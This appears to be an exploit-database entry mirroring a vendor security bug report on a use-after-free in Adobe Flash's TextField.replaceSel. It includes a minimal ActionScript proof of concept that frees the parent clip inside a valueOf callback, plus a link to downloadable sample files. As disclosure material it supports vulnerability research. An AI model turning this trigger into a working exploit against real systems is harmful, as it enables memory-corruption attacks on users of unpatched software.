Adobe Flash TextField.replaceSel - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=585

There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.

A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceSel({valueOf : func});

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "text";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip